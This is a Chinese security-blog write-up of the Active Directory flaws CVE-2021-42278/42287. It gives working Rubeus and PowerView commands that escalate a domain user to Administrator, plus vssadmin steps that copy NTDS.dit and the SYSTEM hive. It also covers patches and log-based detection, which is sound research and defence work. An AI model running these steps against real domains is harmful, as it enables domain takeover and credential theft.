问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
域内提权票据篇之剖析CVE-2021-42278&42287漏洞
渗透测试
21年披露了AD域的一个组合漏洞(CVE-2021-42278+CVE-2021-44287),利用AD域对机器账户的认证缺陷和kerberos协议缺陷,只需一个域用户即可拿到域内最高权限,影响巨大
0x00 漏洞背景 --------- 21年披露了AD域的一个组合漏洞(CVE-2021-42278、CVE-2021-44287),利用AD域对机器账户的认证缺陷和kerberos协议缺陷,只需一个域用户即可拿到域内最高权限,影响巨大。 0x01 漏洞1 -------- 【CVE-2021-42278】默认情况下加入域内的主机都会创建一个机器账户,该账户名称为机器名加上`$`结尾,加入域的机器默认在`CN=Computers`这个容器里,账户名为`sAMAccountName`属性: ![image-20230801144813190](https://shs3.b.qianxin.com/butian_public/f97092823bff14c39d0a5cd48a8e1ed5bafd958b7cca2.jpg) 1、域中是默认允许域用户创建机器账户的,该属性为`MS-DS-Machine-Account-Quota`(允许用户在域中创建的机器帐户的数量,普通域用户最多可以创建10个该账户); 2、域控没有针对机器账户名的验证机制,没有校验`sAMAccountName`结尾的`$`,即使删除结尾的`$`照样可以以机器用户身份申请TGT票据。 ![image-20230801151014504](https://shs3.b.qianxin.com/butian_public/f7837585a2c49b58a7675fb93daac0713b8ba3e102b02.jpg) 0x02 漏洞2 -------- 【CVE-2021-42287】配合上述漏洞使用,简述一下漏洞原理,创建一个普通机器账户,将其`sAMAccountName`改为和域控机器账户名相同但不以`$`结尾,用该账户进行TGT请求后将`sAMAccountName`改回原名,然后使用之前得到的TGT去申请该主机的ST,在申请服务过程中,由于二次改名后,此时域内已经没有该账户,导致DC找不到它,协议的处理逻辑会自动在主机名后加上`$`继续搜索,结果就会搜索到域控机器账户,然后在PAC中添加信息(这些信息就是域控机器账户的用户名和所在的组)并以域控机器身份签名下发ST,达到了提权操作。 0x03 漏洞利用 --------- 利用第一个漏洞需要注意,机器账户改名之前必须清除SPN值(servicePrincipalName,服务主体名称),该标志是作为网络控制器服务实例的唯一标识符;域内添加一个机器账户会自动添加四个默认的SPN值(使用脚本:[Powermad.ps1](https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1)) ![image-20230802100610136](https://shs3.b.qianxin.com/butian_public/f68763451459402e2510cd37edb18996e6b699438ac5f.jpg) ![image-20230802100724287](https://shs3.b.qianxin.com/butian_public/f132190477dad33c6126b8dc655be44d19dc5df376f52.jpg) 我们假设不清除SPN,直接修改`sAMAccountName`值结果如下图,后面的Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,会导致请求异常,所以在修改`samAccountName`前要删除其SPN属性。 ![image-20230802101504343](https://shs3.b.qianxin.com/butian_public/f8168045f81b8a1c1216a9fab395cd07716388ec79b2f.jpg) ![image-20230802101056262](https://shs3.b.qianxin.com/butian_public/f536487856b26569defd5061f40111778c1b6b933f544.jpg) 我们创建的可利用账户应该是这样:第一步清除SPN值,第二步改名为域控机器名(使用脚本:[PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)) ![image-20230802101434762](https://shs3.b.qianxin.com/butian_public/f392630395eff0da5249d64cc3257add157645d8cd922.jpg) ![image-20230802101753527](https://shs3.b.qianxin.com/butian_public/f39704125a8ea1b05bef8e795ea9af1aaad529ca6f8a9.jpg) ### AS-REQ 这里我们以创建的机器账户利用 [Rubeus工具](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe) 发出请求:`.\Rubeus.exe asktgt /user:"sAMAccountName" /password:"Password" /domain:"domain.local" /dc:"sAMAccountName.domain.local" /nowrap` ![image-20230802102138725](https://shs3.b.qianxin.com/butian_public/f81333503e1fa3c4f444c312e22fd458ed505511d2e83.jpg) 进行身份验证的账户名,这里是我们修改后的`DC`: ![image-20230802102427636](https://shs3.b.qianxin.com/butian_public/f32737708f24304de9c7ceb6aaf06c84abf924fd9366c.jpg) ### AS-REP ![image-20230802102605797](https://shs3.b.qianxin.com/butian_public/f121167aa198e2a07a34da889c205d9f4515b1e2d8687.jpg) 到这一步,PAC中的Group RID还是515(Domain Computers这个组),即ticket中所代表的身份还是我们创建的这个机器账户: ![image-20230816100328132](https://shs3.b.qianxin.com/butian_public/f406773092fa91757c4873bfd9f97922639947c47ee4d.jpg) ![image-20230802181402515](https://shs3.b.qianxin.com/butian_public/f109388cf916b1836c549f65af23bebee44b41c4fedff.jpg) 这里参考 [在Wireshark中解密Kerberos](https://wiki.wireshark.org/Kerberos.md),即可解密数据包中的PAC,步骤如下: ```php 1、在域控导出ntds.dit和system.hive vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive vssadmin delete shadows /all 2、使用esedbexport工具导出表文件,这里没有该工具需要编译一下(建议在linux环境编译),下载并解压:https://github.com/libyal/libesedb sudo apt-get install autoconf automake autopoint libtool pkg-config ./configure make make install sudo ldconfig 3、将导出的ntds.dit以及system.hive复制到Linux中与esedbexport同目录下即:/usr/local/bin,并执行命令,可以将ntds.dit导出成多个文件,文件会存放在当前目录的ntds.dit.export目录内 esedbexport ntds.dit 4、使用NTDSXtract导出需要的keytab,这里使用python2 git clone https://github.com/csababarta/ntdsxtract.git cd ntdsxtract/ && python -m pip install pycryptodome esedbexport ntds.dit python2 dskeytab.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 system.hive /usr/local/bin/ntdsxtract/ 1.keytab # datatable.*以及link_table.*都是esedbexport处理ntds.dit之后存在ntds.dit.export中的文件 # system.hive 是之前导出的文件 # /usr/local/bin/ntdsxtract/是当前ntdsxtract目录 # 1.keytab是最后我们需要的keytab文件 5、获取1.keytab后,把该文件导入到Wireshark中,编辑->首选项->Protocols->KRB5,勾选"Try to decrypt Kerberos blobs",然后开始抓包即可,wireshark会自动对当前的数据包进行解密尝试,如果解密成功,就会是显示蓝色,不成功就是黄色。 ``` 将机器账户改除域控机器名之外的名,这里改回原名: ![image-20230802113415705](https://shs3.b.qianxin.com/butian_public/f222745a6669fc1468f66ff3255b31f9fcd45f47d184a.jpg) 接下来准备请求 ”这台域内已经不存在的机器“ 上的服务票据。 ### TGS-REQ 以`Administrator`的身份请求 “这台域内已经不存在的机器” 上的cifs服务票据:`Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]` 注意这里使用的是S4U2self协议,为什么要用这个协议来请求我们后面阐述,先看这样请求发生了什么?貌似已经成功申请了一张高权限票据: ![image-20230803110941208](https://shs3.b.qianxin.com/butian_public/f26134511d9d9390ddd2a13e0844d0376f82cb634dc6d.jpg) ### TGS-REP ![image-20230803105024220](https://shs3.b.qianxin.com/butian_public/f3513945475d5b44e24bdccd7d7dafa762c3301126cb5.jpg) 果然到这一步,PAC中的User RID已经变成了500即Administrator,Group RID为513即Domain Users组: ![image-20230816095928517](https://shs3.b.qianxin.com/butian_public/f407694b89b1fb198aabbb2f0af6a0cdcfafc5cabe53a.jpg) 使用 `klist` 命令查看主机上的票据: ![image-20230802185355716](https://shs3.b.qianxin.com/butian_public/f40443846e306689b8d0a09c7babab17577faf363ab60.jpg) 成功访问域控服务: ![image-20230802130034616](https://shs3.b.qianxin.com/butian_public/f783967046529a85e073bf3fe746000d260105bbcd6a8.jpg) 0x04 漏洞成因 --------- 这里我们来分析一下为什么要使用S4U2self协议? S4U2self(Server-for-User-to-Self)是 Kerberos 协议中的一种扩展,用于允许Service代替用户向KDC发起服务票据的请求,而无需用户的明文凭证,目的是为了简化服务器的授权,以便调用者自身受益。 ![image-20230802152243565](https://shs3.b.qianxin.com/butian_public/f8847955e2fbac72cb5a854dc9d5e792b6b55f0cb1088.jpg) ```php 1、用户向服务1发出请求,服务1已通过KDC进行身份验证并获得其TGT,但服务1没有用户的授权数据; 2、服务1通过S4U2self扩展代表指定用户请求服务票证,用户由S4U2self数据中的用户名和用户域名来标识; 3、KDC返回一个服务票据到服务1,就像用户使用自己的TGT请求的一样,服务票证包含用户的授权数据; 4、服务1可以使用服务票据中的授权数据来满足用户的请求,然后该服务响应用户。 ``` 这里从协议代码处理逻辑层面再分析下具体过程,参照 [从XP源码泄露看nopac漏洞](https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA) 这篇分析文章,可总结漏洞成因如下: KDC Server是如何处理S4U和非S4U请求中的PAC,从`KdcInsertAuthorizationData`函数中可以找到: 1.如果不是S4U的请求,则直接从TGT的AuthData中提取PAC(沿用最初的PAC,最初的PAC在AS-REP阶段凭请求用户身份生成); 2.如果是S4U请求,首先调用`KdcGetS4UTicketInfo`请求,这个请求的处理逻辑中又调用了`KdcGetTicketInfo`,然后再调用`kdcGetPacAuthData`函数来构造PAC data。 这里的两个函数应该就是漏洞点所在: - `KdcGetTicketInfo`函数,用于从Ticket中获取TicketInfo,该函数会对请求的服务账户名进行顺序判断: 首先判断是否是krbtgt账户,如果是,则直接调用函数获取TicketInfo --> 如果不是,会查找传入的用户名判断是否是本域的用户 --> 如果在域内找不到用户名则会给传入的用户名加上`$`继续查找 --> 仍未找到则查找其 `altSecurityIdentities` (Alternate Security Identities,备用安全标识)属性的value。这就是导致漏洞产生的一个重要原因,由于我们的改名操作,此时域内已经没有一个Service的`sAMAccountName`为`DC`,根据处理逻辑会继续加`$`进行重试,必然会匹配上域控的机器账户`DC$`,所以此时就是域控机器向KDC发起申请ST请求。 通过这个函数还是还无法解释为什么获取`DC`的TGT之后,通过S4USelf请求`DC$`的TGS可以成功?按理说我们是拿着`DC`这个机器账户的TGT去请求ST最终获取的ST也应该是这个账户权限的,最终是如何提权到域管的? - `kdcGetPacAuthData`函数,这个函数在处理PAC存在缺陷,网上其它文章说的“若原票据不存在PAC,则会构造一个新的PAC;若无法构造,则直接复制PAC”,其实并不是`TGS_REQ`中没有携带PAC然后才去生成PAC,而是正常的S4U请求就会重新生成对应模拟用户的PAC到Ticket中,这里我们是用`Administrator`用户去请求,所以自然会生成高权限票据。 ```ASN.1 //这里对比一下S4U的if逻辑与这个else if逻辑,所调用的生成PAC函数 KerbErr = KdcGetPacAuthData( S4UUserInfo, &S4UGroupMembership, TargetServerKey, NULL, // no credential key AddResourceGroups, FinalTicket, S4UClientName, &NewPacAuthData, pExtendedError ); KerbErr = KdcGetPacAuthData( UserInfo, &GroupMembership, TargetServerKey, NULL, // no credential key AddResourceGroups, FinalTicket, NULL, // no S4U client &NewPacAuthData, pExtendedError ); ``` 利用`S4U2Self`协议请求的数据包有什么不同? 在`S4U2Self`协议扩展中,Service会使用自己的TGT并添加一个新的padata,就是`PA-FOR-USER`结构: ![image-20230802145638836](https://shs3.b.qianxin.com/butian_public/f8715176458e00a0c4ba848f765731211e90bc26c25d0.jpg) 这个函数原型如下: ```ASN.1 PA-FOR-USER ::= SEQUENCE { -- PA TYPE 129 userName [0] PrincipalName, userRealm [1] Realm, cksum [2] Checksum, auth-package [3] KerberosString } ``` 参数可以通过数据包看到其含义: ```php userName 为administrator,所以我们猜测KdcGetPacAuthData(),取的就是PA-FOR-USER结构中的name; userRealm 为域名USER.COM Checksum 之前文章提到的PAC尾部签名 auth-package用于验证用户身份的验证机制的字符串名称,必须将其设置为字符串“Kerberos”。 ``` 0x05 防御措施 --------- 1. 安装微软的补丁`KB5008602` 和 `KB5008380`; 2. 限制域内可创建机器账户的用户权限,修改`MachineAccountQuota`的属性值为0; 3. Tips:在域内创建一个机器账号,将其`samAccountName`改为DC的主机名,因为域内`sAMAccountName`是唯一的,不能重复,所以攻击者就无法创建与域控同名的主机名。 0x06 日志检测 --------- 1、Name impersonation 可通过分析以下安全日志 ```php 【4741事件】 创建机器账号 【4742事件】 删除SPN 【4781事件】 修改sAMAccountName ``` 2、KDC bamboozling 可通过分析以下安全日志 ```php 【4768事件:请求TGT】 TargetUserName(发起Kerberos身份验证请求的用户名)为域控主机名而不是主机名+$ 【4769事件:请求ST】 TargetUserName不包含$(区分正常的机器账户请求),并且ServiceName(请求服务的名称)为域控主机名并不是主机名+$ ``` 0x07 参考文章 --------- [https://mp.weixin.qq.com/s/Ar8u\_gXh2i3GEcqdhOD8wA](https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA) <https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html> [https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a)
发表于 2023-08-28 09:00:00
阅读 ( 7113 )
分类:
内网渗透
4 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
72 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!